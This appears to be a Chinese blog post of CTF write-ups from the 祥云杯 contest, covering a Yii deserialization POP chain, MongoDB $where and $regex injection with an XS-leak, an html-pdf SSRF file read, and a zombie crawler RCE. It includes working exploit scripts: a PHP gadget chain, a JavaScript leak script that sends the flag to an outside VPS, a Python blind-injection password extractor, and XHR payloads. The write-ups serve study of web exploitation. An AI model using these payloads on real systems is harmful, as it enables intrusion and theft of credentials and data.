祥云杯

EZyii

百度的链子可以直接打https://xz.aliyun.com/t/9948#toc-5

stopProcess 方法中存在

利用 返回值可控的__call 和 字符串连接符 . ,将目标转向__toString

在这里找到了可利用点,跟进 rewind

下面断点的地方又可以走向其他类中的 rewind 方法,

在这里可以看到很相似的调用。

跟进 read 方法

又要跳向其他类的 read 方法。

利用call_user_func执行命令

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo urlencode(serialize(new RunProcess()));
}

namespace Faker{
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}

Package Manager

预期解

题目给了源码,审计一下,题目的界面里面有许多文本框,这里猜测可不可以xss一下,找到了源码,找到了许多,但都加了#转义,找到了一个!未转义的。

在这里插入图片描述

但是后来又在app.ts里面发现了csp防御很严格,基本无法实现xss。

1
2
3
4
5
6
7
app.use((req: Request, res: Response, next: NextFunction) => {
res.locals.session = req.session;
res.locals.csrfToken = req.csrfToken();
res.set('Content-Security-Policy', "default-src 'none';style-src 'self' 'sha256-GQNllb5OTXNDw4L6IIESVZXrXdsfSA9O8LeoDwmVQmc=';img-src 'self';form-action 'self';base-uri 'none';");
res.set('X-Content-Type-Options','nosniff');
next();
});

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

两种方法可以启用 CSP。一种是通过 HTTP 头信息的Content-Security-Policy的字段。

  • default-src 限制全局,默认所有都会使用这种规则

  • script-src 限制JavaScript的源地址。

  • style-src 限制层叠样式表文件源。

  • img-src 限制图片和图标的源地址等等

例如 default-src ‘self’; 只允许同源下的资源

script-src ‘self’; 只允许同源下的js

none 不允许任何内容。

但是这里可以插入<meta http-equiv="Refresh" content="2; URL=http://example.com/" />

然后直接全局搜索了下flag,发现flag再admin用户里面的一个page页面上。题目也提供了admin 的xssbot,且用的是火狐浏览器。那么现在情景就是,我们需要某种方式获得admin页面的内容。

在这里插入图片描述

下面的操作就让我学习了很久,突破口在packages路由中/list操作里面。这里接受了查询的search参数,然后用find查询。这里用的mongoose查询,可以用{'$regex':xxx}实现查询,所以这里可以这样传入/packages/list?search[description][$regex]=来进行异或匹配flag。

这样就符合xsleak的思路了。

而具体leak的方法。我们使用object标签。它能在火狐环境下做到,如果object.data访问状态码200,就会触发onload事件。如果访问状态码404,就会触发onerror事件。我们根据这个差异性,就能利用search注出flag内容了。

在这里插入图片描述

但是这里还有个问题就是需要将url提交给admin,这里有个auth的过滤,$where操作需要让token和admin密码的hex_md5后的值相等,正常说这显然不太可能,所以这里想到污染$where操作,同样可以使用/packages/list?search[$where]=hex_md5=function(){return '202cb962ac59075b964b07152d234b70'}真是太神奇了。

在这里插入图片描述

贴一下wp的测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
> db.posts.findOne({'$where': 'Math.floor = function () { return 1 }; return Math.floor(0)'})
{
"_id" : ObjectId("5eda18529ad2bedc0477fbd0"),
"author" : "test",
"content" : "poyo"
}
> db.posts.findOne({'$where': 'return Math.floor(0)'})
{
"_id" : ObjectId("5eda18529ad2bedc0477fbd0"),
"author" : "test",
"content" : "byc"
}
> db.posts.findOne({'$where': 'return Math.floor(0)'})
{
"_id" : ObjectId("5eda18529ad2bedc0477fbd0"),
"author" : "test",
"content" : "byc"
}
> db.posts.findOne({'$where': 'return Math.floor(0)'})
null

到这里思路大致就是先注册,然后add一篇文章,在description插入重定向到我们自己vps上的js脚本用模糊匹配出flag,然后在admin下提交我们的page,让bot访问我们重定向的脚本,来获取flag。

先注册然后发一篇文章,重定向到我们的vps。server上写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<head>
<title>xssbotexp</title>
</head>
<body>
<script type="text/javascript">
vps = 'http://39.107.239.30:80'
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ0123456789{}-+'

const search = async (url) =>{
return new Promise((resolve, reject) => {
const object = document.createElement("object");
object.data = url;
object.onload = resolve;
object.onerror = reject;
document.head.appendChild(object);
});
}

const exp = async (url) =>{
try {
await search(url)
return true;
} catch (e) {
return false;
}
}
(async () => {
let flag = '';
let url = `http://6d7f5839-9b17-40fe-b5de-b04cfdae1037.node4.buuoj.cn:81/packages/list?search[description][$regex]=^${flag}`
while (flag.charAt(flag.length - 1) !== "}") {
for ( let i of chars ) {
if ( await(search(url + escape(i))) ) {
url = url + escape(i)
flag += i
await fetch(`${vps}/?flag=${flag}`, {mode: 'no-cors'})
break;
} else {
console.log('failed');
}
}
}
})();
</script>
</body>

先在search界面不断发包竞争

1
2
3
4
5
6
7
8
9
10
GET /packages/list?search[$where]=hex_md5%3dfunction(){return%20%27202cb962ac59075b964b07152d234b70%27}; HTTP/1.1
Host: 1a52a622-4f18-49e5-9060-3394c76b953c.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=eyJ1Ijp7IiBiIjoiZ0FTVk13QUFBQUFBQUFDTUFtNTBsSXdHYzNsemRHVnRsSk9VakJ0bFkyaHZJQ0ErSUM5MGJYQXZNVEV4bElXVVVwUXUifX0.YJDP-g.QEEJmYHE5PkdYKgl-zKi4lybDYo; session=s%3A60hAjRd2Nlts_fWYx7o_fnfOBx1H2lEs.tibY6R1rxcarL1x%2B8ucVTkXMFIhlryODzOsyi13uoMM
Upgrade-Insecure-Requests: 1

直到auth提交token通过即可

在这里插入图片描述

然后提交我们的文章id,在vps上开服务python3 -m http.server 80监听即可。

非预期

这里其实在auth操作时存在注入,换个思路想,flag在admin用户的文章下,那将admin的密码注入出来不就行了。

1
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import string

url = 'http://6d7f5839-9b17-40fe-b5de-b04cfdae1037.node4.buuoj.cn:81/auth'
s = requests.session()
password = ''
for i in range(0,30):
for j in range(30,130):
cookies = {'session':'s%3A9fJutdIDuXFuT3gcoAor1vkFD9Ikv2Tc.f3ROtzd9M%2Fzu%2BsRjUa60NMseu56cqBbZ5rqQEyk3Ghc'}
data = {'_csrf':'1zvGp4cd-G4wtUGigLyKgRmKIy-BWtBkFGH0',
'token':"cf87efe0c36a12aec113cd7982043573\"||(this.username==\"admin\"&&this.password[{}]==\"{}\")||\"".format(i,chr(j))}
# 'token':'"+hex_md5(this.password)&&this.password[{}]=="{}"&&"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"=="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.format(i,chr(j))}
res = s.post(url,data=data,cookies=cookies)

# print(res.text)
# print('------------------')
if "Found. Redirecting to" in res.text:
password +=chr(j)
print(chr(j))
print('---------')
break


第二种payload是直接利用js的报错,因为MongoDB支持Javascript语法。所以可以用js语法去抛出内容是admin密码的异常

1
2
3
_csrf=2PzwJX5n-Y1qH02TLkz3_JXa_OBn2hpgU2G8&token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||
(()=>{throw Error(this.password)})()=="admin
#MongoError: Executor error during find command :: caused by :: Error: !@#&@&@efefef*@((@))grgregret3r : @:1:125 @:1:112

secrets_of_admin

审计源码,发现一些点

在这里插入图片描述

这里的content考虑xss,上面存在过滤,但可以用数组绕过,但是下面是通过superuser创建的数据库,无法用/api/files/:id访问

在这里插入图片描述

通过查找html-pdf库发现它存在一个任意文件读取:

html-pdf before version 3.0.1 is vulnerable to Arbitrary File Read. The package fails to sanitize the HTML input, allowing attackers to exfiltrate server files by supplying malicious HTML code. XHR requests in the HTML code are executed by the server. Input with an XHR request such as request.open(“GET”,”file:///etc/passwd”) will result in a PDF document with the contents of /etc/passwd.

接着往下看,有一个提示,这里限制了需要本地才能访问,应该是xss打ssrf,然后进行create操作,结合文档可以用xhr操作

在这里插入图片描述

最后这里明显可以看到存在文件读取。

在这里插入图片描述

这里打ssrf的操作使用xhr来打,需要注意的是这里content的内容一定要url编码,被坑了很久。最后访问/api/files/1234即可

1
2
3
4
5
6
content[]=<script>
var xhr = new XMLHttpRequest();
xhr.setRequestHeader("Content-Type","application/xhtml+xml");
xhr.open("GET", "http://127.0.0.1:8888/api/files?username=admin&filename=/flag&checksum=1234", true);
xhr.send();
</script>

cralwer_z

/profile中,更新了personalbucket并且将valid设置成了false。

在这里插入图片描述

进行了一个匹配,符合则跳转,这里好绕过直接?a=.oss-cn-beijing.ichunqiu.com就行

在这里插入图片描述

verify中将bucket更新为personalbucket,但是前提是valid要为true。

在这里插入图片描述

最后在bucket中访问了设置的bucket,这里的爬虫使用了zombie库,这个库存在rce漏洞,搜索引擎真的很重要

参考https://ha.cker.in/index.php/Article/13563

在这里插入图片描述

思路很明显了,先在profile中随便传一个抓包获取token,然后将bucket设置成自己的url,然后提交将personalbucket更新,然后拿最开始获取的token访问verify来实现更新,最后访问bucket界面执行命令。这里buu上反弹不了shell不知道为啥。

在这里插入图片描述


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!